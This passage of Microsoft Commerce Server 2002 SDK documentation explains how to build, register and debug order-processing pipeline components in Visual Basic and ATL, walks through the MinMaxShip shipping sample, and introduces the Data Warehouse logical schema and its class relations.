The Pipeline Component Registration Wizard adds keys under the Implemented Categories entry in the registry to indicate that it is a pipeline component and to indicate which stages the component may appear in. The Implemented Categories entry can be found at \HKEY_CLASSES_ROOT\CLSID\component_classid\implemented categories\stage_clsid key within the Microsoft Windows NT Registry, where stage_class_id is the GUID of the stage with which the component will have an affinity, and component_class_id is the class ID of the component itself. See the file pipe_stages.h in the Microsoft Commerce Server Software Development Kit (SDK) for the GUID values for different pipeline stages.

See Also

Using the Visual Basic Pipeline Component Wizard

Implementing the IPipelineComponent Interface

Persisting Data

Special Considerations for Visual Basic Pipeline Components


Special Considerations for Visual Basic Pipeline Components

Visual Basic supports the creation of apartment-threaded components, but does not support the creation of free-threaded components. Consequently, if you use Visual Basic to create components for either the Order Processing pipeline (OPP) or Content Selection Framework (CSF) pipeline architectures, you should be aware of certain limitations.

If you include the component in a pipeline you load using the OrderPipeline object, and if you make this object globally available, your component will work as expected. This is because the OrderPipeline object checks the threading model of each component at load time to determine how to marshal the data of that component.

For performance reasons, however, the MtsOrderPipeline or MtsTxOrderPipeline objects do not perform this checking because these objects are generally created on a per-page basis. The MtsOrderPipeline or MtsTxOrderPipeline objects that you create on a per-page basis have no bearing on the proper functioning of Visual Basic pipeline components.

However, including such components in an MtsOrderPipeline or MtsTxOrderPipeline object that you make globally available (through the Application object, for example) is unsupported behavior. If you include a Visual Basic component in a globally available pipeline object instance, you must use the OrderPipeline object to load and execute that pipeline.

Always mark Visual Basic objects as Retain in Memory to keep the reference count above zero.

To mark Visual Basic objects as Retain in Memory

  1. In Visual Basic, on the Project menu, click <project name> Properties.
  2. On the General tab, select the Unattended Execution and Retained In Memory boxes.

See Also

Using the Visual Basic Pipeline Component Wizard

Implementing the IPipelineComponent Interface

Persisting Data

Using the Pipeline Component Registration Tool


Creating Pipeline Components Using the Active Template Library (ATL)

The ATL Pipeline Component Wizard consists of a group of files that you add to your Microsoft Visual C++ installation to automate the creation of Microsoft Commerce Server 2002 pipeline components. The ATL Pipeline Component Wizard creates the object definition and implementation files. These files contain the function prototypes for all of the interfaces that you need to implement to create a fully functional pipeline component. In addition, the ATL Pipeline Component Wizard creates a property page for your project, in which you add the controls through which users set component properties.

This section contains:

  • Active Template Library
  • Building the ATL Pipeline Component Wizard
  • Creating a Project
  • Adding an Object
  • Deciding Which Interface to Expose
  • Enhancing Component Usability
  • Implementing the IPipelineComponent Interface
  • Registering the ATL Component


Active Template Library

The Active Template Library (ATL) is a collection of C++ templates included in Microsoft Visual C++ versions 4.0 and later. This template library is intended specifically to facilitate the creation of Component Object Model (COM) objects.

Although you can create a pipeline component using any development environment that supports the creation of COM components, the use of the ATL is recommended because it creates small, fast code. COM components created using the ATL are smaller and faster than other approaches to component creation, including approaches supported by Visual C++. Although you can easily create COM components using the Microsoft Foundation Classes (MFC) library, you incur the significant memory overhead that is occasioned by using a large class library.

For information about the Active Template Library, see the ATL tutorial, which is included with Microsoft Visual C++.

See Also

Building the ATL Pipeline Component Wizard

Enhancing Component Usability

Registering the ATL Component

MinMaxShip Sample Pipeline Component


Building the ATL Pipeline Component Wizard

Before using the ATL Pipeline Component Wizard, you must build it by using the CommerceDLG.dll file on your local computer, and then copy specific files to the correct directories on your computer. This is because the ATL Pipeline Component Wizard functions within the Microsoft Visual C++ program.

To build the CommerceDLG.dll file

  1. Click Start, and then click Run.
  2. In the Run dialog box, type regsvr32 followed by the path to the Visual Basic Pipeline Component Wizard. For example, type regsvr32 "C:\Program Files\Microsoft Commerce Server\SDK\Tools\ATL Pipe Wizard\CommerceDLG.dll", and then click OK.

The RegSvr32 dialog box appears indicating success in building the CommerceDLG.dll file.

See Also

Creating a Project

Adding an Object

Deciding Which Interface to Expose

Enhancing Component Usability

Implementing the IPipelineComponent Interface

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Creating a Project

To create a custom component using the ATL Pipeline Component Wizard, you must first create an active project. To create a project in Visual C++ version 6.0, you use the ATL COM App Wizard.

To create a project in Visual C++

  1. Click Start, point to Programs, point to Microsoft Visual C++, and then click Visual C++.
  2. On the File menu, click New, and then select the Projects tab.
  3. On the Projects tab, select ATL COM App Wizard, and then do the following:
    Use this | To do this
    Project name | Type a name for the project.
    Location | Type the path to the location where the project will be saved.
    Create new workspace | Select to create a new skeleton project.
    Add to current workspace | Select to add on to an existing project.
    Platforms | Keep the default, which is WIN32.
  4. Click OK.
  5. In the ATL COM App Wizard - Step 1 of 1 dialog box, do the following:
    Use this | To do this
    Server Type Select one of the following:
    • Dynamic Link Library (DLL)
    • Executable (EXE)
    • Service (EXE)

    Note

    • If you are creating a modified ASP component, leave the Server Type as DLL because a control must be an in-process server.
    Allow merging of proxy/stub code | Specify that proxy/stub code be merged into your main project (available for DLL projects only). By default, the proxy/stub marshaling code is contained in a separate DLL.
    Support MFC | Specify that your object includes Microsoft Foundation Classes (MFC) support, and the MFC libraries will be attached to your code (available for DLL projects only).
    Support MTS | Specify the support for Microsoft Transaction Server (MTS) by adjusting the project build settings.
  6. Click Finish.

    The New Project Information dialog box appears, which lists the files that will be created for your project. These files and their descriptions are listed in the following table.

    File extension | Description
    .dsp | File that contains the project settings.
    .cpp File that contains the implementation of the following methods:
    • DllMain
    • DllCanUnloadNow
    • DllGetClassObject
    • DllRegisterServer
    • DllUnregisterServer

    This file also contains an object map, which is a list of the ATL objects in your project. This is initially blank, because you have not yet created an object.
    .idl | An interface definition language file, which describes the interfaces specific to your objects.
    .mk | A make file that can be used to build a proxy and stub DLL.
  7. Click OK.

    The project you created appears in the Visual C++ Workspace window.

  8. To save your workspace, from the File menu, click Save Workspace.

See Also

Adding an Object

Deciding Which Interface to Expose

Enhancing Component Usability

Implementing the IPipelineComponent Interface

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Adding an Object

After you create your project, you compile the files that Microsoft Visual C++ created for you into a dynamic-link library (DLL). To make this DLL useful, however, you must add support for an object that implements the appropriate pipeline interfaces.

When you use the ATL Pipeline Component Wizard to add an object to your project, the IPipelineComponent interface is implemented by default. In addition, you can choose to implement the ISpecifyPropertyPages, IPersistStreamInit, and IPipelineComponentDescription interfaces. For more information about which interfaces to implement, see Pipeline Component Interfaces.

Note

  • You must install the ATL Pipeline Component Wizard and create a project before starting the following procedure. For more information about installing the wizard, see ATL Pipe Wizard Folder. For more information about creating a project, see Creating a Project.

To add an object to your project

  1. In your project in Visual C++, on the Insert menu, click New ATL Object.
  2. In the ATL Object Wizard dialog box, do the following:
    Use this | To do this
    Category | Select Objects to add a new pipeline component.
    Objects | Select Commerce Component.
  3. Click Next.
  4. In the ATL Object Wizard Properties box, on the Names tab, do the following:
    Use this | To do this
    C++ Short Name | Type the name of your component.
    C++ Class | Type the class name to implement the control, or leave the default value.
    C++ .H File | Type the name of the .h file, or leave the default value.
    C++ .CPP File | Type the name of the .cpp file, or leave the default value.
    COM CoClass | Type the name of the component class for the object, or leave the default value.
    COM Interface | Type the name of the interface on which the component will implement its custom properties, or leave the default value.
    COM Type | Type the description for the control, or leave the default value.
    COM ProgID | Type the name of the ProgID, or leave the default value.

    Important

    • Do not click OK until you configure the Commerce Component tab.
  5. Click the Commerce Component tab. (This tab displays a list of the optional interfaces that you can implement on a Microsoft Commerce Server 2002 pipeline component.)
  6. In the ATL Object Wizard Properties dialog box, on the Commerce Component tab, do the following:
    Use this | To do this
    ISpecifyPropertyPages | Select whether your component uses property pages to allow users to set component properties.
    IPersistStreamInit | Select whether your component saves and loads its properties to and from a stream.
    IPipelineComponentDescription | Select whether you want your component users to identify the OrderForm object or pipe context values that your component reads and writes.
  7. Click OK.

The ATL Object Wizard creates the definition and implementation files that implement the necessary pipeline interfaces, and adds these files to the project.

In addition, the ATL Object Wizard creates a stub implementation for the object interface, on which you implement the properties for your component.

Note

  • The approach to adding properties described in this section assumes that you do not intend to implement the IPipelineComponentAdmin interface. However, Commerce Server defines this interface as an alternative way to implement properties on an object.

See Also

Deciding Which Interface to Expose

Enhancing Component Usability

Implementing the IPipelineComponent Interface

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Deciding Which Interface to Expose

Before a component can be configured using a macro language such as Microsoft Visual Basic Scripting Edition (VBScript), it must implement the IDispatch interface. Because any interface that you create can inherit from the IDispatch interface, you decide which of the interfaces that you implement will use the IDispatch interface to expose the properties and methods of your component.

Several options are available. When you add an object to your project, Microsoft Visual C++ adds an interface to the object definition that appears in the interface definition language (IDL) file for the project. By default, the interface that Visual C++ adds inherits from the IDispatch interface.

You can use this interface, or you can implement the IPipelineComponentAdmin interface. This interface is defined by Microsoft Commerce Server 2002 specifically to enable component writers to expose their component properties. The IPipelineComponentAdmin interface defines two methods: GetConfigData and SetConfigData. These methods take a Dictionary object as a parameter, and read or write to this Dictionary object to retrieve or set the values of the properties of the component.

The options described in the preceding paragraphs are mutually exclusive; you cannot implement two IDispatch interfaces on a single object and make both available to Active Server Pages (ASP) clients.

The following lists the advantages of using the Visual C++ user interface to get an IDispatch implementation:

  • Implementing IDispatch::Invoke is done automatically. If you add properties and methods using the Visual C++ user interface, this work is done for you.
  • As you add properties and methods to your object, Visual C++ automatically adds the appropriate entries to the project IDL, header, and implementation files. Because the added interface is the default interface for the object, a VBScript client that creates an instance of your object using the ProgID gets this interface, and can set the methods and invoke the properties implemented in it.

According to the rules for Component Object Models (COM), the advantage of implementing the IPipelineComponentAdmin interface is that after an interface is published, it cannot be changed. By adding properties to a published object, you necessarily modify the dispatched interface, running the risk that you will break the client code of existing users. Because implementing the IPipelineComponentAdmin interface does not require that your component definition be modified to add support for new properties, your component can evolve over time without requiring the publication of a new interface. The IPipelineComponentAdmin interface also allows for simple persistence, because the dictionary supports persistence. And the dictionary exposed through the IPipelineComponentAdmin interface supports enumeration of property names.

The IPipelineComponentAdmin interface is required if you are implementing a shipping component that requires configuration.

Important

  • Shipping Components should expose the IPipelineComponentAdmin::GetConfigData and IPipelineComponentAdmin::SetConfigData methods from the IDispatch interface implementation, because the Commerce Server Business Desk module(s) that manage these components must be able to call these methods from a late-bound (Active Server Pages) environment.

See Also

Pipeline Component Interfaces

Enhancing Component Usability

Implementing the IPipelineComponent Interface

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Enhancing Component Usability

To enhance the usability of your component, you may choose to implement the optional IPipelineComponentDescription interface. This interface defines methods that return SAFEARRAY variables that identify the pipe context elements that a component reads, as well as the OrderForm or Dictionary object elements that a component reads and writes.

When a user activates the property pages for your component through the Pipeline Editor, the Pipeline Editor checks to see if your component implements the IPipelineComponentDescription interface. If it does, the Pipeline Editor invokes your IPipelineComponentDescription method implementations and displays the values that the component reads and writes in a property page.

When you run the ATL Pipeline Component Wizard, the wizard adds a reference to the IPipelineComponentDescription interface to your derivation list, and adds the IPipelineComponentDescription interface signatures to the class definition. For example:

// IPipelineComponentDescription
    STDMETHOD (ContextValuesRead)(VARIANT *pVar);
    STDMETHOD (ValuesRead)(VARIANT *pVar);
    STDMETHOD (ValuesWritten)(VARIANT *pVar);

In addition, the ATL Pipeline Component Wizard adds stub implementations to implement files. The code the wizard adds is:

//
// IPipelineComponentDescription Methods
//
STDMETHODIMP CSampleComponent::ContextValuesRead(VARIANT *pVarRead)
{
    // TODO: Add your own values to the array.
    int cEntries = 1;
    // Allocate the SAFEARRAY of VARIANTs.
    SAFEARRAY*    psa = SafeArrayCreateVector(VT_VARIANT, 0, cEntries);
    // Populate the SAFEARRAY of VARIANTs.
    VARIANT* pvarT = (VARIANT*)psa->pvData;
    V_BSTR(pvarT) = SysAllocString(L"Example Context Value Read");
    V_VT(pvarT) = VT_BSTR;
    // Set up the return value to point to the SAFEARRAY.
    V_VT(pVarRead) = VT_ARRAY | VT_VARIANT;
    V_ARRAY(pVarRead) = psa;
    return S_OK;
}

STDMETHODIMP CSampleComponent::ValuesRead(VARIANT *pVarRead)
{
    // TODO: Add your own values to the array.
    int cEntries = 1;
    // Allocate the SAFEARRAY of VARIANTs.
    SAFEARRAY*    psa = SafeArrayCreateVector(VT_VARIANT, 0, cEntries);
    // Populate the SAFEARRAY of VARIANTs.
    VARIANT* pvarT = (VARIANT*)psa->pvData;
    V_BSTR(pvarT) = SysAllocString(L"Example Value Read");
    V_VT(pvarT) = VT_BSTR;
    // Set up the return value to point to the SAFEARRAY.
    V_VT(pVarRead) = VT_ARRAY | VT_VARIANT;
    V_ARRAY(pVarRead) = psa;

    return S_OK;
}

STDMETHODIMP CSampleComponent::ValuesWritten(VARIANT *pVarWritten)
{
    // TODO: Add your own values to the array.
    int cEntries = 1;
    // Allocate the SAFEARRAY of VARIANTs.
    SAFEARRAY*    psa = SafeArrayCreateVector(VT_VARIANT, 0, cEntries);
    // Populate the SAFEARRAY VARIANTs.
    VARIANT* pvarT = (VARIANT*)psa->pvData;
    V_BSTR(pvarT) = SysAllocString(L"Example Value Written");
    V_VT(pvarT) = VT_BSTR;
    // Set up the return value to point to the SAFEARRAY.
    V_VT(pVarWritten) = VT_ARRAY | VT_VARIANT;
    V_ARRAY(pVarWritten) = psa;
    return S_OK;
}

This code contains the basic instructions for implementing the interface.

Note

  • Each of the methods in the IPipelineComponentDescription interface must return an array. If there are no association values, the IPipelineComponentDescription interface should return an empty array.

See Also

Deciding Which Interface to Expose

Implementing the IPipelineComponent Interface

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Implementing the IPipelineComponent Interface

All pipeline components must implement the IPipelineComponent interface. This interface is defined as follows:

// IPipelineComponent

STDMETHOD (Execute) (
    IDispatch*  pdispOrder,
    IDispatch*  pdispContext,
    LONG        lFlags,
    LONG*       plErrorLevel);

STDMETHOD (EnableDesign) (BOOL fEnable);

When the pipeline creates an instance of a component, it requests an interface pointer on the IPipelineComponent interface of the component, and then uses that pointer to call the Execute method of the component. The pipeline passes the component an IDispatch interface pointer on the OrderForm object being passed through the pipeline, and an IDispatch interface pointer on the pipe context of the site. The pipe context is a Dictionary object that contains references to various contextual pieces of information for the site, such as connection strings and cache references.

The IPipelineComponent interface is among the interfaces for which the ATL Pipeline Component Wizard adds method definitions and implementation stubs when you add an object to your project. To implement the IPipelineComponent::Execute method for your component, open the .cpp file, and modify the default implementation provided by the ATL Pipeline Component Wizard.

See Also

Deciding Which Interface to Expose

Enhancing Component Usability

Registering the ATL Component

Active Template Library

MinMaxShip Sample Pipeline Component


Registering the ATL Component

Pipeline component registration involves identifying the component as a pipeline component, identifying the stage or stages with which the component has an affinity, and optionally registering its name, threading model, and also optionally registering the component as poolable.

A globally unique identifier (GUID) identifies each stage in the pipeline. GUIDs are defined in the Pipe_stages.h file, which you include in the implementation file in which you are registering a component.

To identify the stage or stages with which a component has an affinity, you write the class ID of the new component to the \HKEY_CLASSES_ROOT\CLSID\component_classid\implemented categories\stage_clsid registry key within the Microsoft Windows NT Registry, where stage_class_id is the GUID of the stage with which the component will have an affinity, and where component_class_id is the class ID of the component itself.

The code with which you register your component should be invoked in the DLLRegisterServer routine that is created for you when you create the component project in Microsoft Visual C++.

The ATL Pipeline Component Wizard creates a skeleton DllRegisterServer routine for the component housing. Although this will register the component, several more keys need to be added to the registry so that the Pipeline Editor displays the component properly.

The Pipeline Editor looks under the Implemented Keys category in the registry to see if the object is a pipeline component and, if so, which stages it may appear in. The function RegisterCATID, provided in the Computil.cpp file, makes this registration easier. In addition, the name displayed for the component comes from the AuxUserType\2 key for the component. The RegisterName function handles this registration. The following is the complete DllRegisterServer routine:

STDAPI DllRegisterServer(void)
{
    HRESULT hr = S_OK;

    hr = _Module.RegisterServer(TRUE);

    if(FAILED(hr)) return hr;

// Register the component as a pipeline component.
    hr = RegisterCATID(CLSID_MyPipelineComponent,
                       CATID_MSCSPIPELINE_COMPONENT);

    if(FAILED(hr)) return hr;

// Register the component for stage affinity.
    hr = RegisterCATID(CLSID_MyPipelineComponent,
                       CATID_MSCSPIPELINE_SHIPPING);

// Optionally register the component as poolable.
    hr = RegisterCATID(CLSID_MyPipelineComponent,
                       CATID_MSCSPIPELINE_POOLABLE);

    if(FAILED(hr)) return hr;

// Optionally register the name of the component.
    if(FAILED(hr)) return hr;

    hr = RegisterName(CLSID_MyPipelineComponent,L"MinMax.MinMaxShipping");
    if(FAILED(hr)) return hr;

    return hr;

}

See the Pipe_stages.h file for the constants for other pipeline stages and features.

See Also

Deciding Which Interface to Expose

Enhancing Component Usability

Implementing the IPipelineComponent Interface

Active Template Library

MinMaxShip Sample Pipeline Component


Error Levels

Pipeline components return one of the following values:

  • 1 = OPPERRORLEV_SUCCESS
  • 2 = OPPERRORLEV_WARN
  • 3 = OPPERRORLEV_FAIL

The pipeline keeps track of the highest error value returned by a previously executed component in the pipeline. Attached to each stage in the pipeline is an attribute that indicates the maximum error level the component will tolerate. If the current pipeline error level is less than or equal to the maximum error level for the stage, the next component in the pipeline can run the IPipelineComponent::Execute method. If the maximum error level for the stage is less than the current error level for the pipeline, the remaining components in the stage are skipped and the action is logged.

Error levels are checked upon entrance to stages to improve the user experience. For example, a user has completed the shipping stage, the tax stage, and the payment stage, and has entered incorrect information, causing level 3 errors in any or all of these stages. Instead of prompting the user with a shopper warning after each stage, the user can be presented with just one error before the processing of the credit card in the accept stage. This is because, when the level 3 errors are encountered by the accept stage, which has a maximum error level of 2, it prompts the user with a shopper warning indicating all the errors at one time.

See Also

Error Handling in Pipelines

Debugging Pipeline Components

Error Handling for Solution Sites


Debugging Pipeline Components

  • This section contains a few tips to aid in debugging custom pipeline components.

Note

  • Like all debug settings, these setting should be removed before production.

Debugging Scriptor Pipeline Components

Ensure that HKEY_USERS\*\Software\Microsoft\Windows Script\Setting\JITDebug is set to 1.

Setting the key under HKEY_CURRENTUSER will fail because the script engine is being hosted by the pipeline component, which is running under IIS and is typically running under a different account than that of the user currently logged on to the computer.

Debugging Visual Basic Pipeline Components

Ensure that the Visual Basic debugger process (VB.exe) and the process hosting the pipeline component (inetinfo.exe or dllhost.exe) are running under the same user account. This enables VB.exe to intercept the Visual Basic pipeline component calls and debug them. The simplest way to accomplish this is to change the IIS anonymous user impersonation account to that of the currently logged on user.

Debugging Visual Basic .NET and C# Pipeline Components

If the Visual Basic .NET or C# pipeline component is installed in the Global Assembly Cache (GAC), and is therefore strongly signed, then running the Register Assembly Utility (regasm.exe) will register the component. If the pipeline component is not installed in the GAC, you need to add the registration value for "codebase=<full-path>" under the component's class ID. This registration value is written automatically when the project is built from Visual Studio .NET. However, when you copy that DLL to another box, when you deploy it for instance, and run the regasm.exe utility on it, regasm.exe does not register it, and therefore the creation of that pipeline component fails.

See Also

MinMaxShip Sample Pipeline Component


MinMaxShip Sample Pipeline Component

The purpose of the MinMaxShip sample is to demonstrate interaction with the Order Processing pipeline (OPP) as a pipeline component, as well as to demonstrate the new shipping component architecture in Microsoft Commerce Server 2002. By updating a custom Commerce Server Business Desk module, called Shipping Method, the MinMaxShip sample can be quickly added to an existing Commerce Server site for use in the shipping stage of an OPP.

This section contains:

  • Design
  • How to Use the MinMaxShip Sample


Design

The MinMaxShip object is a Component Object Model (COM) object that exposes a set of COM interfaces to the Order Processing pipeline (OPP).

The MinMaxShip sample object, which is included in the Microsoft Commerce Server 2002 Software Development Kit (SDK), calculates the shipping total for all "shipments to process" in an order by taking the sum of the list prices for the items in a shipment, multiplying it by a percentage, and comparing the product to some specified minimum. The larger number in this comparison is then stored in the _shipping_total key for the shipment.

All shipping components, except the Splitter component, should be registered with the ShippingMethodRouter pipeline component. The Splitter component should be configured from the Pipeline Editor and the code. The remaining components should be configured from the Commerce Server Business Desk Shipping Method module.

See Also

How to Use the MinMaxShip Sample


How to Use the MinMaxShip Sample

The MinMaxShip sample can be found in the MinMaxShip directory of the Order Processing samples directory. For example, C:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\MinMaxShip. In the MinMaxShip directory, the Visual Basic code is in the folder named VB, and the C++ code is in the folder named ATL.

To build the Visual Basic sample

To build the Visual C++ ATL sample

To build the C# sample

To run the MinMaxShip sample

To build the Visual Basic sample

  1. Click Start, point to Programs, point to Microsoft Visual Studio, and then click Microsoft Visual Basic.
  2. On the File menu, click Open, and then navigate to the directory that contains the MinMaxShipVB.vbp file. For example, C:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\MinMaxShip\VB. Select the MinMaxShipVB.vbp file.
  3. On the File menu, click Make MinMaxShipVB.dll.
  4. After the project has been built, on the File menu, click Exit.

The Visual Basic MinMaxShip sample is now built on your computer.

To build the Visual C++ ATL sample

  1. Click Start, point to Programs, point to Microsoft Visual Studio, and then click Microsoft Visual C++.
  2. On the File menu, click Open, and then navigate to the directory that contains the MinMaxShip.dsw file. For example, C:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\MinMaxShip\ATL. Select the MinMaxShip.dsw file.
  3. On the Build menu, click Build MinMaxShip.dll.
  4. After the project has been built, on the File menu, click Save Workspace.
  5. To close the program, on the File menu, click Exit.

The ATL MinMaxShip sample is now built on your computer.

To build the C# sample

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. On the Start page, click Open Project, and then navigate to the directory that contains the Commerce.csproj file. For example, C:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Order Processing\MinMaxShip. Select the Commerce.csproj file, and then click Open.
  3. On the Build menu, click Build Solution.
  4. In the Save File As dialog box, accept the default settings, and then click Save.
  5. On the File menu, click Close Solution, and then click Exit.
  6. On the Start menu, point to Accessories, and then click Windows Explorer.
  7. Navigate to the folder C:\Program Files\Microsoft Commerce Server 2002\SDK\Samples\Order Processing\MinMaxShip\CSharp\bin\Debug. Right-click CSSDKSample.dll, and then click Properties.
  8. In the CSSDKSample.dll Properties dialog box, select the Security tab, and then click the Add button.
  9. On the Look In menu, select the local computer name.
  10. In the Name column, select IUSR_ComputerName, click Add, and then click OK.
  11. Ensure that Read and Read & Execute are selected for the Internet Guest Account, and then click OK.

    The C# MinMaxShip sample is now built on your computer.

Running the Sample

To the MinMaxShip samples, you must first install one of the Microsoft Commerce Server 2002 Solution Sites. After you have installed one of these sites, go to the directory containing the Commerce Server Business Desk files, and perform the following procedure.

Commerce Server Solution Sites are available at http://go.microsoft.com/fwlink/?linkid=6491.

To run the MinMaxShip sample

  1. Copy the file MinMax_edit.asp from the BizDesk directory in the MinMaxShip directory to the Shipping directory in Business Desk on the installed site. For example, copy MinMax_edit.asp from C:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\MinMaxShip\BizDesk to C:\InetPub\wwwroot\RetailBizDesk\Shipping.
  2. Copy the file Shipping_methods.xml from the Business Desk directory in the MinMaxShip directory to the Config directory in Business Desk on the installed site. For example, copy Shipping_methods.xml from C:\Program Files\Microsoft Commerce Server\SDK\Samples\Order Processing\MinMaxShip\BizDesk to C:\InetPub\wwwroot\RetailBizDesk\Config.
  3. If you are running the Visual Basic sample, you must open the file MinMax_edit.asp, and change the following line of code:
    g_sProgID = "commerce.minmaxshipatl.1"

    to

    g_sProgID = "commerce.MinmaxShipVB".

    Or, if you are running the C# sample, you must open the file MinMax_edit.asp, and change the following line of code:

    g_sProgID = "commerce.minmaxshipatl.1"

    to

    g_sProgID = "Commerce.MinMaxShipCSharp".

    Note

    • This step is not required for the Visual C++ ATL sample.

After the custom Shipping Method module is updated, you can use it to configure new shipment methods of the type "MinMaxShip."

See Also

Design


Extending the Data Warehouse

This topic describes working with the Commerce Server 2002 Data Warehouse. Information is provided about the basic structures and primary business categories of the logical schema. Procedures to extend the logical schema and import custom data into the Data Warehouse are also presented.

This section contains:

  • Basic Structures of the Logical Schema. Defines the conceptual infrastructure of the Data Warehouse in terms of the class, data member, key, and relation.
  • Describing Data Warehouse Logical Relations. Describes the logical relation types through examples.
  • About the OLE DB Provider for Commerce Server. Describes features and limitations of the OLE DB Provider for Commerce Server.
  • Dividing the Data Warehouse into Primary Business Categories. Explains the conceptual division of the logical schema into primary business categories: Campaigns, Catalog, Transactions, Profile Management, Web Log Import, and Web Topology. Each category can involve multiple business processes. These categories provide the conceptual entry points into the logical schema.
  • Extending the Data Warehouse Logical Schema. Provides code to extend the Data Warehouse logical schema.
  • Extending Commerce Events. Describes how to create new commerce events, how to extend the Data Warehouse to store the new commerce events, and how to create reports about the new commerce events.
  • Importing Custom Data into the Data Warehouse. Discusses the process of importing custom data into the Data Warehouse.
  • Data Warehouse Relationship Tables. Provides relationship information for the cubes, dimensions, reports, and tables.

See Also

Data Warehouse Schema

OLE DB Provider for Commerce Server

Securing the Data Warehouse


Basic Structures of the Logical Schema

The Commerce Server Data Warehouse uses a logical schema to isolate applications from the underlying physical database. The logical schema defines the conceptual infrastructure of the Data Warehouse. The basic structures of the logical schema are the class, data member, and key.

Class

The class is fundamental to the Data Warehouse logical schema. A class is a logical collection of data members. An instance of a class represents the user data imported into the Data Warehouse. You can think of a class as a SQL Server table, with the individual instances of the class representing the rows, and the data members representing the columns.

For more information about class and data member relations, see Describing Data Warehouse Logical Relations.

Data member

A data member stores a piece of data. A class can contain an arbitrary number of data members that define the logical scope of the class. New data members can be added at any time after the class is created. Conceptually, a data member is analogous to a column in a SQL Server table.

For more information about class and data member relations, see Describing Data Warehouse Logical Relations.

Key

A key is a data member or set of data members that uniquely identifies instances of a class. For example, the key for the OrderFormLineItems class is a combination of the private lineitem_id data member and the inherited OrderForm_Id and OrderGroup_Id data members. This means that instances of an OrderFormLineItems class include a unique identifier for the line item plus unique identifiers for the OrderFormHeader and OrderGroup classes.

After creating a class, data members, and relations, the class can be populated with data by creating a new instance of the class. This can be accomplished with ActiveX Data Objects(ADO) by using the Microsoft OLE DB Provider for Commerce Server. The example provided in Extending the Data Warehouse Logical Schema uses VBScript to create new instances of the class, data members, keys, and key members.

For more information about the Commerce Server OLE DB Provider, see About the OLE DB Provider for Commerce Server.


Describing Data Warehouse Logical Relations

A relation connects two classes in a parent-child association. The relation type defines the number of instances a child can have for a corresponding instance in a parent class. There are five types of relations used in the Commerce Server Data Warehouse: one-to-one, one-to-many, one-to-many with inheritance, many-to-many, and inheritance (supported only in the Profile schema). Nearly all relations in the Data Warehouse are one-to-many. This means that zero or more children can exist for each parent. For example, an individual order form has precisely one instance of the OrderFormHeader class. The order form can have multiple line items represented by multiple instances of the OrderFormLineItems class associated with the single OrderFormHeader class instance.

Creating a relation between a parent class and a child class creates new members in the child class. The new members are used to create and maintain the relation to the parent class. There are always at least two new members in the child class. One of the new members is a persisted member, and is referred to as the reference member or the ID of the parent class. This reference member has the name of the parent class followed by the suffix "ID," for example, the reference member for the OrderFormHeader class is OrderFormHeaderID. Note that the reference members in the parent and the child are not exposed through the provider, because the values were set by the storage engine. The other new members in the child class are non-persisted members for each of the key members in the parent class. For many-to-many relations, the relation is implemented by using a separate link table, rather than by modifying the child class. Each row in the link table is an ID from a parent class instance and an ID from a child class instance. For one-to-many relations with inheritance, and for inheritance relations in the Profile schema, each persistent member in the parent class has a non-persisted member in the child class. The following diagram depicts each type of relation.

Diagram shows the relation between parent classes and child classes for each type of relation.

Diagram shows the relation between parent classes and child classes for each type of relation.

Diagram shows the relation between parent classes and child classes for each type of relation.

An example of a one-to-many relation is the relation between the OrderFormHeader class and the OrderFormLineItems class. The OrderFormLineItems class inherits the reference member, OrderFormHeaderID, and the key members, OrderForm_id and OrderGroup_id, from the OrderFormHeader class. The reference item is persisted and the key members are not persisted. The following diagram depicts the inheritance process.

Diagram shows the inheritance process from the OrderFormHeader class to the OrderFormLineItems class.

The non-persisted child members are exposed through the provider just like the persisted members of the child class. When an instance of the child class is written to the provider that contains non-default values for the non-persistent members, the parent class is searched for the corresponding parent class key members. If a corresponding instance exists in the parent class, the identity column for that instance is returned and saved in the child instance. If there is no instance of the parent class corresponding to the key values, a new instance is persisted in the parent class, and the identity column of that new instance is returned and saved in the child class.

A class can have a maximum of 255 persisted and non-persisted members. The number of ancestors a class can have depends on the number of members that the child class has defined as well as the number of members (both persistent and non-persistent) it inherits. For all relation types, a member that is inherited into a class is exposed to any of the children for that class as though that member were explicitly defined in the derived class. For example, if there is a grandparent class, a parent class, and a child class, and a member is inherited from the grandparent to the parent, the member will not be visible to the child if the relation between the parent and child is one to many. The member would be visible if the relation was one to one with inheritance, or if there was an explicit relation member defined, which mapped the member in the parent to a non-persistent member in the child.

This topic provides examples of the logical relation types and describes the background steps taken by the OLE DB Provider for Commerce Server to store the classes. The examples model the relation types as they apply to the relationship between a dog and a dog owner. The two classes are pseudo-defined as follows:

Class DogOwner
  {
  [Key] DogOwnerName
  DogOwnerAddress
  }

Class Dog
  {
  [Key] DogName
  DogBreed
  }

This section contains:

  • One-to-Many Relation. Models a one-to-many relation where each dog can have only one owner but each owner can have multiple dogs.
  • Many-to-Many Relation. Models a many-to-many relation where each dog can belong to multiple owners and each owner can have multiple dogs.
  • One-to-Many with Inheritance Relation. Similar to a one-to-many relation; however, the dog can see and populate the data members of its owners.

See Also

OrderFormHeader Class

OrderFormLineItems Class


One-to-Many Relation

Logically, if you define a one-to-many (1:M) relation between a DogOwner (parent) class and a Dog (child) class, then a single DogOwner can have multiple Dogs.

Physically, the table representing the Dog will have a relation to the DogOwner, which is enforced by the OLEDB Provider for Commerce Server.

When you insert data into a table, you have two options:

  1. Relation Example 1. Insert only into the child.
  2. Relation Example 2A. First, insert into the parent.

    Relation Example 2B. Second, insert into the child.

Relation Example 1

Logical View

The following code shows how to insert into the child of a 1:M relation on a blank database.

Insert Dog(DogName="Spot", DogBreed="Cocker Spaniel",
 DogOwnerName="Bob")

Logically, when you instantiate the Dog class, you populate the data members DogName, DogBreed, and DogOwnerName. With a 1:M relation, you cannot see the non-key data members of the parent (that is, DogOwnerAddress). You can later instantiate the DogOwner class separately to update the DogOwnerAddress data member.

Physical View

